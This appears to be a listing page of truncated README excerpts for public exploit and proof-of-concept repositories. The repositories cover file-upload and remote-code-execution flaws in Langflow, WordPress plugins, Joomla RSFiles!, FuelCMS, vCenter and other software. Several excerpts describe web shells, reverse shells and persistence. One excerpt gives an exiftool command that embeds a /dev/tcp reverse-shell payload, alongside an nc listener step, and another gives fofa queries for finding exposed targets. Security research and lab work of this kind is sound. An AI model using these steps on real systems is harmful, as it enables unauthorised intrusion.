langflow-rce-exploit

Langflow RCE 익스플로잇 CVE-2025-3248 Langflow 원격 코드 실행 익스플로잇 CVE-2025-3248 기능 자동 취약점 탐지 여러 익스플로잇 모드: 대화형 셸 단일 명령 실행 리버스 셸 연결 파일 업로드 기능 색상화된 사용자 인터페이스 여러 리버스 셸 방식 명령 기록 유지 📌 변경 로그 v2.0 ✨ 새로운 기능: 5가지 실행 방법을 지원하는 고급 페이로드 시스템 Base64 인코딩을 사용한 파일 업로드/다운로드 Cron 작업을 통한 지속성 persist 명령 대화형 셸 업그레이드 : upload...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration RCE 인증되지 않은 임의 파일 업로드 → 원격 코드 실행 필드| 값 ---|--- CVE| CVE-2026-1357 CVSS| 9.8 치명적 플러그인| WPvivid Backup & Migration 영향받는 버전| ≤ 0.9.123 패치 버전| 0.9.124 발견자| Lucas Montes NiRoX PoC 작성자| halilkirazkaya 개요 WPvivid Backup & Migration 플러그인≤ 0.9.123에는 인증되지 않은 공격자 가...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomlaコンポーネント 認証なしファイルアップロードRCE 分割コントローラのアップロードバイパス → 直接書き込みタスク → /downloads/shell.php → RCE 概要 CVE-2026-57827 は、Joomla 向けのファイル管理・ダウンロードコンポーネントとして広く利用されている RSFiles! comrsfiles のバージョン 発見者: Phil Taylor, mySites.guru（2026年7月10日） ベンダー: RSJoomla（rsjoomla.com） コンポーネント:...

rsfiles-CVE-2026-57827

CVE-2026-57827 — RSFiles! 認証なしファイルアップロード → RCE 免責事項 — 許可された使用のみ。 これはセキュリティ研究および防御テスト のための概念実証（PoC）です。 使用は 自分が所有するシステム、または明示的な書面による許可を得た システムのみに限定されます。同意なく第三者に対して悪用することは 違法です。責任ある開示の立場については SECURITY.md を参照してください。 Joomla 用 RSFiles! （comrsfiles）コンポーネント、バージョン 1.17.12（1.17.12 で修正、CVSS 9.8 / 10.0）における...

ninjasworkout

취약한 NodeJS 애플리케이션 빠른 시작 Download the Repo = run npm i 모든 의존성을 설치한 후 다음을 실행하세요 node app.js or nodemon app.js 추가된 취약점 프로토타입 오염 ✅1 NoSQL 인젝션 ✅2 크로스 사이트 스크립팅 ✅3 취약한 접근 제어 ✅4 취약한 세션 관리 ✅5 취약한 정규 표현식 구현 ✅ 6 경쟁 조건 ✅7 CSRF - 교차 사이트 요청 위조 ✅8 취약한 무차별 대입 공격 방어 ✅9 사용자 열거 ✅10 Referrer에서 리셋 비밀번호 토큰 유출 ✅11 비밀번호...

ninjasworkout

Damn Vulnerable NodeJS Application Quick Start Download the Repo = run npm i Afer Installing all dependency just run the application node app.js or nodemon app.js ADDED BUGS Prototype Pollution ✅1 No SQL Injection ✅2 Cross site Scripting ✅3 Broken Access Control ✅4 Broken Session Management ✅5 We...

CVE-2024-27665

CVE-2024-27665 Unifiedtransform v2.X는 Syllabus 모듈의 파일 업로드 기능을 통해 Stored Cross-Site ScriptingXSS에 취약합니다. 공급업체: https://github.com/changeweb/Unifiedtransform PoC 1단계: 애플리케이션에 로그인하고 Academic 모듈로 이동합니다. 2단계: Academic 모듈에서 임의의 데이터로 Session, Semester, Class, Course를 생성합니다. 3단계: Syllabus 모듈로 이동하여 필수 세부...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE CVE-2018-16763을 통해 FuelCMS = 1.4.1에서 RCE를 트리거하고 대화형 셸을 사용하는 익스플로잇입니다. 기능 CVE-2018-16763을 사용하여 FuelCMS에 PHP 웹셸 API를 자동으로 업로드합니다. ?action=exec을 통해 API로 시스템 명령어를 실행합니다. ?action=download를 통해 원격 시스템에서 공격 머신으로 파일을 다운로드합니다. 사용법 요구사항 : 필요 없음, 이 익스플로잇은 인증 없이 사용 가능합니다...

CVE-2026-80517

The WP Ultimate CSV Importer WordPress plugin (versions before 9.2 ) is vulnerable to Stored Cross-Site Scripting (XSS) . The root cause is the failure to properly validate file types within uploaded archives or sanitize their content before storing them in a publicly served location. This allows...

CVE-2023-24610

CVE-2023-24610 CVE-2023-24610에 대한 개념 증명PoC입니다. 먼저 exiftool을 사용하여 polyglot 파일을 생성합니다: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 파일을 png로 변경하여 프론트엔드 검사를 통과하게 합니다. 그런 다음 포트 8888에서 nc 리스너를 시작하여 셸을 받습니다. 다음 단계는 애플리케이션에 로그인한 후 setup을 클릭하는 것입니다. 페이지 하단에 practice logo 영역이...

lab-cve-2025-3515

CVE-2025-3515 WordPress Lab Drag and Drop Multiple File Upload for Contact Form 7 취약한 WordPress 환경을 실행하여 CVE-2025-3515를 재현하고 검증하세요 — 플러그인 drag-and-drop-multiple-file-upload-contact-form-7 ≤ 1.3.8.9의 ddmuuploadfile을 통한 무제한 파일 업로드 취약점입니다. 이 랩은 Dockerized로 빠르고 결정적인 테스트를 위해 Nuclei와 함께 사용할 수 있습니다. 취약한...

cve-2021-22005-exp

cve-2021-22005-exp 0x01 취약점 개요 2021년 9월 21일, VMware가 보안 공지를 발표하여 vCenter Server의 19개 보안 취약점을 공개했습니다. 이러한 취약점의 CVSSv3 점수 범위는 4.3-9.8입니다. 그중 가장 심각한 취약점은 vCenter Server의 임의 파일 업로드 취약점CVE-2021-22005이며, 이 취약점은 vCenter Server의 분석 서비스에 존재하며 CVSSv3 점수는 9.8입니다. vCenter Server의 443 포트에 네트워크로 접근할 수 있는 공격자는 ...

Links.a

CVE-2023-44962 CVE-2023-44962에 대한 PoC 분석 upload-cover-image.pl에 심볼릭 링크를 포함하는 아카이브 파일을 업로드하면 연결된 파일의 일부 내용이 유출될 수 있습니다. ... foreach my $dir @directories my $file; if -e "$dir/idlink.txt" $file = "$dir/idlink.txt"; elsif -e "$dir/datalink.txt" $file = "$dir/datalink.txt"; else next; if open my $fh,...

CVE-2025-52691

CVE-2025-52691 このリポジトリには、CVE‑2025‑52691 の影響を受ける脆弱な SmarterMail バージョンを検出するための安全な概念実証（PoC）が含まれています。 このスクリプトはバージョン検出のみを行い、脆弱性を悪用しません。 CVE-2025-52691 – SmarterMail バージョン検出 PoC 📌 説明 このリポジトリには、SmarterMail Build 9406 およびそれ以前のバージョンに影響する重大な脆弱性 CVE‑2025‑52691 に対する、Python による検出用概念実証（PoC）が含まれています。 ⚠️...

OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager RCE Exploit CVE-2026-38751 임의 파일 업로드를 통한 원격 코드 실행 CVE-2026-38751 에 대한 완전한 기능을 갖춘 개념 증명PoC으로 Rust 로 작성되었습니다. 경고 : 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 소유한 시스템이나 명시적 허가를 받은 시스템에서만 사용하세요. 설명 OpenSTAManager ≤ 2.10은 인증된 임의 파일 업로드 취약점에 노출되어 있으며, 공격자가 PHP 웹쉘을 포함한 악성 ZIP 아카이브를 업로드할 수 있습니다...

CVE-2023-47246-EXP

脆弱性の詳細 1. fofa: body="sysaid-logo-dark-green.png" || title="SysAid Help Desk Software" || body="Help Desk software by SysAid" 2. 影響を受けるバージョン: SysAid Server23.3.36 脆弱性の再現 1. スクリプトを実行する: git clone https://github.com/W01fh4cker/CVE-2023-47246-EXP.git cd CVE-2023-47246-EXP pip install -r...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC 이 저장소는 Pluck CMS 버전 4.7.18의 CVE-2023-50564 취약점에 대한 개념 증명PoC을 포함합니다. 설명 CVE-2023-50564는 Pluck CMS 버전 4.7.18에서 허가되지 않은 파일 업로드를 가능하게 하는 취약점입니다. 이 익스플로잇은 모듈 설치 함수의 결함을 이용하여 PHP 셸이 포함된 ZIP 파일을 업로드함으로써 원격 명령 실행을 가능하게 합니다. 사용법 사전 요구 사항 Python 3.x requests 및 requeststoolbelt 패키지 다음 명령으...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce プロトコルが無い場合 → スクリプトが自動的に http:// を追加します 2️⃣ シェルを追加 シェルファイルを同じディレクトリに配置: shell.php 3️⃣ エクスプロイトを実行 python3 CVE-2026-3891.py 4️⃣ 対話式入力 スクリプトが次の項目を尋ねます: ターゲットファイル（デフォルト: list.txt） スレッド数（デフォルト: 8） シェルファイル名（例: shell.php） ⚡ エクスプロイトの流れ 1. 🎯 ターゲットを読み込み 2...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE Overview CVE-2026-57827 is a critical-severity CVSS 9.8 unauthenticated arbitrary file upload vulnerability in RSFiles! comrsfiles, a widely...

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit 🛡️ 説明 CVE-2026-3891 は、Pix for WooCommerce WordPress プラグインの 1.5.0 以前 のバージョンに存在する、重大な 未認証の任意ファイルアップロード 脆弱性です。 この脆弱性は、lknpixforwoocommercec6savesettings 機能に存在し、認可制御の欠如と不十分なファイルタイプ検証が原因です。このエクスプロイトは、有効な nonce を取得し、Web からアクセス可能なディレクトリへの PHP...